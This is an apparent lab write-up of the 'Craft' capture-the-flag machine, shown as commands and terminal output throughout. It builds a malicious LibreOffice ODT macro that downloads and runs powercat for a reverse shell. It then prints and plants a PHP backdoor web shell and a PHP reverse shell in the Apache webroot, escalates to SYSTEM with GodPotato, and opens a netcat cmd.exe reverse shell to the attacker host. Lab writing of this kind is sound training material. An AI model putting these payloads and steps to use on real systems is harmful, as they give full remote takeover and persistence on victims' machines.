Initial Reconnaissance
Let’s begin with a full TCP port scan using nmap. This will help us understand which services are running on the target system.
sudo nmap -Pn -n 192.168.196.169 -sC -sV -A -p- --openPntellsnmapnot to bother with host discovery (assumes host is up).nskips DNS resolution, speeding things up.sCandsVrun default scripts and version detection.Aenables aggressive scanning (OS detection, traceroute, etc).p-scans all 65,535 TCP ports.-openshows only open ports.
The result tells us that port 80 is open and running Apache on Windows, with PHP enabled:
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
|_http-title: Craft
|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7Since TCP is covered, we now move to scanning top 100 UDP ports:
sudo nmap -Pn -n 192.168.196.169 -sU --top-ports=100──(kali㉿kali)-[~]
└─$ sudo nmap -Pn -n 192.168.196.169 -sU --top-ports=100
[sudo] password for kali: 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-25 05:05 EDT
Nmap scan report for 192.168.196.169
Host is up.
All 100 scanned ports on 192.168.196.169 are in ignored states.
Not shown: 100 open|filtered udp ports (no-response)
Nmap done: 1 IP address (1 host up) scanned in 21.26 secondsThe scan reveals that all UDP ports are either filtered or unresponsive which means it is likely blocked or ignored by a firewall.
Web Directory Discovery
Given port 80 is open, we assume a web app is present. Let's use gobuster to enumerate directories:
sudo gobuster dir -w '/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt' -u http://192.168.196.169 -t 42 -b 400,401,403,404┌──(kali㉿kali)-[~]
└─$ sudo gobuster dir -w '/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt' -u http://192.168.196.169 -t 42 -b 400,401,403,404
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.196.169
[+] Method:                  GET
[+] Threads:                 42
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   400,401,403,404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/uploads              (Status: 301) [Size: 344] [--> http://192.168.196.169/uploads/]
/assets               (Status: 301) [Size: 343] [--> http://192.168.196.169/assets/]
/css                  (Status: 301) [Size: 340] [--> http://192.168.196.169/css/]
/js                   (Status: 301) [Size: 339] [--> http://192.168.196.169/js/]
/examples             (Status: 503) [Size: 404]
/Assets               (Status: 301) [Size: 343] [--> http://192.168.196.169/Assets/]
/CSS                  (Status: 301) [Size: 340] [--> http://192.168.196.169/CSS/]
/JS                   (Status: 301) [Size: 339] [--> http://192.168.196.169/JS/]
/Uploads              (Status: 301) [Size: 344] [--> http://192.168.196.169/Uploads/]
<SNIP>We are:
- Using a common wordlist.
 - Ignoring common HTTP error codes (400–404) to reduce noise.
 - Running with 42 threads for a balance between speed and stability.
 
Some useful directories discovered:
/uploads//assets//js/,/css//examples/(though returns 503)
Let’s browse the site in a browser. Down the bottom of the page, we find contact info and a file upload form for submitting CVs. This could be an entry point.
To make testing smoother, we edit /etc/hosts so we can access the target by name:
sudo nano /etc/hostsAdd:
192.168.196.169 craft.offsecTesting the Upload Functionality
Try uploading a basic text file:
echo 'this is a test' > test.txtUpon uploading, we receive an error: only ODT files are accepted. ODT is the Open Document Text format used by LibreOffice, similar to DOCX.
Rather than bypassing the file type check, let’s try weaponising a legitimate .odt file using LibreOffice macros.
Install LibreOffice if needed:
sudo apt update
sudo apt install libreofficeCreate a fake resume.
Save it as a .odt file
Go to Tools → Macros → Organise Macros → LibreOffice Basic
Select your document, create a new macro in the document.
Add this basic callback:
Shell("cmd /c powershell iwr http://192.168.45.216/")Go back to the document and select Tools and Customize.
Select Open Document then Assign Macro.
Select the Macro (test) and click OK.
Note that the macro appears in the Assigned Action.
Click OK and save the document. Set up a listener on port 80 on your attacking machine:
nc -nvlp 80Now upload the .odt file. 
If successful, you’ll see an inbound request in your terminal. That confirms macro execution works.
┌──(kali㉿kali)-[~]
└─$ nc -nvlp 80
listening on [any] 80 ...
connect to [192.168.45.216] from (UNKNOWN) [192.168.196.169] 50081
GET / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17763.1971
Host: 192.168.45.216
Connection: Keep-Alive
Weaponising the Payload
Remove the the old macro before assigning the new one.
Update the macro to fetch and run Powercat in-memory (no file writes):
 Shell("cmd /c powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.45.216/powercat.ps1');powercat -c 192.168.45.216 -p 135 -e powershell")This connects back on port 135 using Powercat.
Go back to Tools → Customize and reassign the (test) macro.
To host Powercat on Kali machine, run:
cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 .                                                               
python3 -m http.server 80Set up a listener:
sudo rlwrap nc -nvlp 135Upload your weaponised .odt again and wait for the reverse shell. 
┌──(kali㉿kali)-[~/Tools]
└─$ sudo rlwrap nc -nvlp 135
[sudo] password for kali: 
listening on [any] 135 ...
connect to [192.168.45.216] from (UNKNOWN) [192.168.196.169] 50115
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Program Files\LibreOffice\program> whoami
whoami
craft\thecybergeek
Check the user’s desktop for flags and run ipconfig /all to confirm host info.
PS C:\users\thecybergeek\Desktop> ls
ls
    Directory: C:\users\thecybergeek\Desktop
Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----        4/25/2025   1:48 AM             34 local.txt                                                             
PS C:\users\thecybergeek\Desktop> cat local.txt
cat local.txt
9bffea56af94fa4211c0639a15b88e54
PS C:\users\thecybergeek\Desktop> ipconfig /all
ipconfig /all
Windows IP Configuration
   Host Name . . . . . . . . . . . . : CRAFT
   Primary Dns Suffix  . . . . . . . : 
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No
Ethernet adapter Ethernet0 2:
   Connection-specific DNS Suffix  . : 
   Description . . . . . . . . . . . : vmxnet3 Ethernet Adapter
   Physical Address. . . . . . . . . : 00-50-56-AB-BC-63
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
   Link-local IPv6 Address . . . . . : fe80::5cb8:8b18:5081:1b11%5(Preferred) 
   IPv4 Address. . . . . . . . . . . : 192.168.196.169(Preferred) 
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.196.254
   DHCPv6 IAID . . . . . . . . . . . : 117461078
   DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-28-7F-1C-3F-00-50-56-8A-CE-01
   DNS Servers . . . . . . . . . . . : 192.168.196.254
   NetBIOS over Tcpip. . . . . . . . : Enabled
Post-Exploitation Enumeration
Check for privileges:
whoami /privPS C:\Program Files\LibreOffice\program> whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                    State   
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeCreateGlobalPrivilege       Create global objects          Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PS C:\Program Files\LibreOffice\program> whoami /groupsCheck for other users:
net userPS C:\Program Files\LibreOffice\program> net user
net user
User accounts for \\CRAFT
-------------------------------------------------------------------------------
Administrator            apache                   DefaultAccount           
Guest                    thecybergeek             WDAGUtilityAccount       
The command completed successfully.It is Interesting that there's an apache account. Let’s upload winpeas.exe for a deeper privilege check.
iwr -uri http://192.168.45.216/winpeas.exe -Outfile winpeas.exe
.\winpeas.exeOnce again, this points towards attempting a lateral movement to the apache user, as it appears they are currently logged in. It’s likely they hold service-level privileges.
This directory definitely stood out during our earlier look through the root directory. Let’s head back there now and take a closer look.
While exploring the C:\xampp directory, I came across a text file containing passwords.
PS C:\xampp> cat passwords.txt
cat passwords.txt
### XAMPP Default Passwords ###
1) MySQL (phpMyAdmin):
   User: root
   Password:
   (means no password!)
2) FileZilla FTP:
   [ You have to create a new user on the FileZilla Interface ] 
3) Mercury (not in the USB & lite version): 
   Postmaster: Postmaster (postmaster@localhost)
   Administrator: Admin (admin@localhost)
   User: newuser  
   Password: wampp 
4) WEBDAV: 
   User: xampp-dav-unsecure
   Password: ppmax2011
   Attention: WEBDAV is not active since XAMPP Version 1.7.4.
   For activation please comment out the httpd-dav.conf and
   following modules in the httpd.conf
   
   LoadModule dav_module modules/mod_dav.so
   LoadModule dav_fs_module modules/mod_dav_fs.so  
   
   Please do not forget to refresh the WEBDAV authentification (users and passwords).    
winPEAS suggests Apache could be running under a higher-privileged user. Let’s confirm write access to the webroot:
icacls "C:\xampp\htdocs"
C:\xampp\htdocs CRAFT\apache:(OI)(CI)(F)
                CRAFT\apache:(I)(OI)(CI)(F)
                NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
                BUILTIN\Administrators:(I)(OI)(CI)(F)
                BUILTIN\Users:(I)(OI)(CI)(RX)
                BUILTIN\Users:(I)(CI)(AD)
                BUILTIN\Users:(I)(CI)(WD)
                CREATOR OWNER:(I)(OI)(CI)(IO)(F)Yes! We can write to the directory served by the Apache web server.
Deploying a PHP Web Shell
Copy a basic PHP shell in attacker machine:
cp /usr/share/webshells/php/simple-backdoor.php .The PHP shell looks like this:
┌──(kali㉿kali)-[~/Tools]
└─$ cat simple-backdoor.php                          
<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->
<?php
if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}
?>
Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
<!--    http://michaeldaw.org   2006    -->Transfer it to the target machine:
iwr -uri http://192.168.45.216/simple-backdoor.php -Outfile simple-backdoor.phpPS C:\xampp\htdocs> iwr -uri http://192.168.45.216/simple-backdoor.php -Outfile simple-backdoor.php
iwr -uri http://192.168.45.216/simple-backdoor.php -Outfile simple-backdoor.php
PS C:\xampp\htdocs> ls
ls
    Directory: C:\xampp\htdocs
Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----        7/13/2021   3:18 AM                assets                                                                
d-----        7/13/2021   3:18 AM                css                                                                   
d-----        7/13/2021   3:18 AM                js                                                                    
d-----        4/25/2025   2:57 AM                uploads                                                               
-a----         7/7/2021  10:53 AM           9635 index.php                                                             
-a----        4/25/2025   3:21 AM            328 simple-backdoor.php                                                   
-a----         7/7/2021   9:56 AM            835 upload.php            Now access:
http://192.168.196.169/simple-backdoor.php?cmd=whoamiThis proves we can execute arbitrary commands via the browser.
Let’s take it further and upload a PHP reverse shell and listen on port 445:
Pull it over to the victim and set up a listener on your chosen port.
PS C:\xampp\htdocs> iwr -uri http://192.168.45.216/shell.php -Outfile shell.php
iwr -uri http://192.168.45.216/shell.php -Outfile shell.php
PS C:\xampp\htdocs> ls
ls
    Directory: C:\xampp\htdocs
Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----        7/13/2021   3:18 AM                assets                                                                
d-----        7/13/2021   3:18 AM                css                                                                   
d-----        7/13/2021   3:18 AM                js                                                                    
d-----        4/25/2025   2:57 AM                uploads                                                               
-a----         7/7/2021  10:53 AM           9635 index.php                                                             
-a----        4/25/2025   3:25 AM           9287 shell.php                                                             
-a----        4/25/2025   3:21 AM            328 simple-backdoor.php                                                   
-a----         7/7/2021   9:56 AM            835 upload.php            Set up listener on port 445 then browse to it.
http://192.168.196.169/shell.phpIf all goes well, you’ll get a shell as craft\apache.
┌──(kali㉿kali)-[~/Tools]
└─$ sudo rlwrap nc -nvlp 445
[sudo] password for kali: 
listening on [any] 445 ...
connect to [192.168.45.216] from (UNKNOWN) [192.168.196.169] 50152
SOCKET: Shell has connected! PID: 664
Microsoft Windows [Version 10.0.17763.2029]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\xampp\htdocs>whoami
craft\apachePrivilege Escalation to SYSTEM
Check privileges:
whoami /privC:\xampp\htdocs>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                               State   
============================= ========================================= ========
SeTcbPrivilege                Act as part of the operating system       Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            DisabledYou’ll see SeImpersonatePrivilegewhich isdeal for token impersonation attacks. We’ll use GodPotato for this.
Confirm .NET version:
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"C:\xampp\htdocs>reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\CDF
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4.0Transfer the GodPotato binary:
certutil -urlcache -split -f http://192.168.45.216/GodPotato-NET4.exeC:\xampp\htdocs>certutil -urlcache -split -f http://192.168.45.216/GodPotato-NET4.exe
****  Online  ****
  0000  ...
  e000
CertUtil: -URLCache command completed successfully.Run a simple test:
.\GodPotato-NET4.exe -cmd "whoami"C:\xampp\htdocs>.\GodPotato-NET4.exe -cmd "whoami"
[*] CombaseModule: 0x140733614522368
[*] DispatchTable: 0x140733616835776
[*] UseProtseqFunction: 0x140733616212704
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\882c4f5d-34ef-4f54-8e0e-6320591e4b3f\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 0000f402-05c8-ffff-4859-1d18a8fc804a
[*] DCOM obj OXID: 0x6e250db0cce886a2
[*] DCOM obj OID: 0xf3f2884740268d6c
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 872 Token:0x812  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 4868You should get NT AUTHORITY\SYSTEM as output.
Final Reverse Shell as SYSTEM
Transfer nc.exe:
cp /usr/share/windows-resources/binaries/nc.exe .certutil -urlcache -split -f http://192.168.45.216/nc.exeSet up a listener on port 81 and run the following command for a reverse shell:
.\GodPotato-NET4.exe -cmd ".\nc.exe -t -e C:\Windows\System32\cmd.exe 192.168.45.216 81"C:\xampp\htdocs>.\GodPotato-NET4.exe -cmd ".\nc.exe -t -e C:\Windows\System32\cmd.exe 192.168.45.216 81"
[*] CombaseModule: 0x140733614522368
[*] DispatchTable: 0x140733616835776
[*] UseProtseqFunction: 0x140733616212704
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] Trigger RPCSS
[*] CreateNamedPipe \\.\pipe\865f642d-8de3-4b00-ac4b-809720ecb5df\pipe\epmapper
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00005002-13fc-ffff-f154-38e0db63c479
[*] DCOM obj OXID: 0x1615de49a98bf315
[*] DCOM obj OID: 0x9cc10cc406879b27
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 872 Token:0x812  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 4356You’ll have a SYSTEM shell. whoami does not work but we can navigate to C:\Users\Administrator\Desktop and retrieve the proof flag:
└─$ sudo rlwrap nc -nvlp 81
listening on [any] 81 ...
connect to [192.168.45.216] from (UNKNOWN) [192.168.196.169] 50168
Microsoft Windows [Version 10.0.17763.2029]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
C:\Windows\system32>cd C:\Users\Administrator\Desktop
cd C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 5C30-DCD7
 Directory of C:\Users\Administrator\Desktop
07/13/2021  03:38 AM    <DIR>          .
07/13/2021  03:38 AM    <DIR>          ..
04/25/2025  01:48 AM                34 proof.txt
               1 File(s)             34 bytes
               2 Dir(s)  10,650,083,328 bytes free
C:\Users\Administrator\Desktop>type proof.txt
type proof.txt
1328f1decaf55bcb56559bb508ec5543
C:\Users\Administrator\Desktop>ipconfig /all
ipconfig /all
Windows IP Configuration
   Host Name . . . . . . . . . . . . : CRAFT
   Primary Dns Suffix  . . . . . . . : 
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No
Ethernet adapter Ethernet0 2:
   Connection-specific DNS Suffix  . : 
   Description . . . . . . . . . . . : vmxnet3 Ethernet Adapter
   Physical Address. . . . . . . . . : 00-50-56-AB-BC-63
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
   Link-local IPv6 Address . . . . . : fe80::5cb8:8b18:5081:1b11%5(Preferred) 
   IPv4 Address. . . . . . . . . . . : 192.168.196.169(Preferred) 
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.196.254
   DHCPv6 IAID . . . . . . . . . . . : 117461078
   DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-28-7F-1C-3F-00-50-56-8A-CE-01
   DNS Servers . . . . . . . . . . . : 192.168.196.254
   NetBIOS over Tcpip. . . . . . . . : EnabledSummary
This lab involved:
- Enumerating services with 
nmapandgobuster - Exploiting file upload via ODT macro abuse
 - Using PowerShell and Powercat for reverse shells
 - Deploying web shells for persistence
 - Abusing impersonation privileges with GodPotato
 - Escalating from user to SYSTEM and capturing flags
 
References
- https://medium.com/@Dpsypher/proving-grounds-practice-craft-4a62baf140cc